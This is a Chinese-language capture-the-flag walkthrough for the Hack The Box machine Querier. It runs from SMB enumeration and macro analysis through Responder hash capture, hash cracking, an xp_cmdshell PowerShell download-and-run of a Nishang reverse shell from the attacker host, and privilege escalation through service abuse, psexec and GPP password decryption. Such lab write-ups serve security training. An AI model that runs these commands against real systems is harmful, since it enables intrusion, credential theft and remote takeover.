【HTB系列】靶机Querier的渗透测试
字数 1454 2025-08-15 21:34:04
HTB靶机Querier渗透测试详细教学文档
1. 靶机信息与初始侦察
- KALI攻击机IP: 10.10.12.115
- 目标服务: MSSQL、SMB
1.1 初始扫描
使用Nmap进行端口扫描:
nmap -sV -T4 <靶机IP>
扫描结果显示目标开放了MSSQL和SMB服务。
1.2 SNMP服务检查
检查SNMP服务是否存在:
snmp-check <靶机IP>
确认SNMP服务未开启。
2. SMB服务枚举
2.1 SMBMap枚举共享资源
尝试枚举SMB共享:
smbmap -H <靶机IP>
发现访问被禁止。
2.2 匿名访问尝试
使用匿名用户尝试枚举:
smbmap -H <靶机IP> -u anonymous
成功枚举出共享资源,发现非系统自带的"Reports"目录。
2.3 SMBClient访问共享
连接到Reports目录:
smbclient //<靶机IP>/Reports -U anonymous
发现名为"Currency Volume Report.xlsm"的Excel文件,下载该文件。
3. 宏分析
3.1 安装OLE工具套件
sudo apt install oletools
3.2 分析XLSM文件
olevba "Currency Volume Report.xlsm"
发现文件中包含MSSQL连接字符串。
4. MSSQL连接尝试
4.1 使用mssqlclient.py连接
从Impacket项目中获取mssqlclient.py:
git clone https://github.com/sdfzy/impacket
尝试连接:
python mssqlclient.py <用户名>:<密码>@<靶机IP>
连接失败。
4.2 启用Windows Authentication
python mssqlclient.py -windows-auth <用户名>:<密码>@<靶机IP>
成功连接但权限不足。
5. 凭证窃取与破解
5.1 使用Responder窃取凭证
启动Responder:
sudo python Responder.py -I <网卡接口>
在MSSQL中执行命令触发Responder捕获凭证。
5.2 破解NetNTLMv2哈希
使用Hashcat:
hashcat -m 5600 Querier.NetNTLMv2 /usr/share/wordlists/rockyou.txt
或使用John:
john --format=netntlmv2 --wordlist=/usr/share/wordlists/rockyou.txt Querier.NetNTLMv2
6. 获取Shell
6.1 使用破解的凭证重新连接MSSQL
python mssqlclient.py -windows-auth <破解的用户名>:<破解的密码>@<靶机IP>
6.2 启用cmd_shell
enable_xp_cmdshell
6.3 使用Nishang反弹Shell
编辑reverse.ps1脚本,添加:
Invoke-PowerShellTcp -Reverse -IPAddress <攻击机IP> -Port <监听端口>
启动HTTP服务:
python -m SimpleHTTPServer 80
在MSSQL中执行:
xp_cmdshell "powershell IEX(New-Object Net.WebClient).DownloadString('http://<攻击机IP>/reverse.ps1')"
使用rlwrap处理Shell:
rlwrap nc -lvnp <监听端口>
7. 提权
7.1 使用PowerUp.ps1收集信息
下载并执行PowerUp.ps1:
IEX(New-Object Net.WebClient).DownloadString('http://<攻击机IP>/PowerUp.ps1')
Invoke-AllChecks
7.2 服务滥用提权
发现服务滥用漏洞后尝试利用:
Invoke-ServiceAbuse -Name <服务名> -Command "net user john password123 /add"
7.3 使用获取的管理员凭证
使用psexec获取系统权限:
psexec.py administrator:'密码'@<靶机IP>
7.4 GPP漏洞利用(备选方案)
查找组策略首选项文件:
findstr /S /I cpassword \\<域控制器>\sysvol\<域名>\Policies\*.xml
解密GPP密码:
gpp-decrypt <加密的密码>
8. 总结与关键点
- 信息收集要全面:包括端口扫描、服务识别、共享枚举等
- SMB匿名访问:尝试anonymous用户可能发现敏感信息
- 宏分析:使用olevba分析Office文件中的敏感信息
- MSSQL认证:注意Windows Authentication参数的使用
- 凭证窃取:Responder工具在LLMNR/NBT-NS欺骗中的应用
- 哈希破解:Hashcat和John对NetNTLMv2的破解方法
- Shell获取:通过MSSQL的xp_cmdshell执行PowerShell下载脚本
- 提权方法:服务滥用、GPP漏洞、凭证重用等多种方式
- 工具使用技巧:rlwrap解决Shell交互问题,smbmap的-d参数指定域名
9. 参考资源
- Impacket工具集:https://github.com/sdfzy/impacket
- Responder工具:https://github.com/sdfzy/Responder
- Nishang框架:https://github.com/sdfzy/nishang
- PowerSploit框架:https://github.com/PowerShellMafia/PowerSploit
- MS08067实验室:www.ms08067.com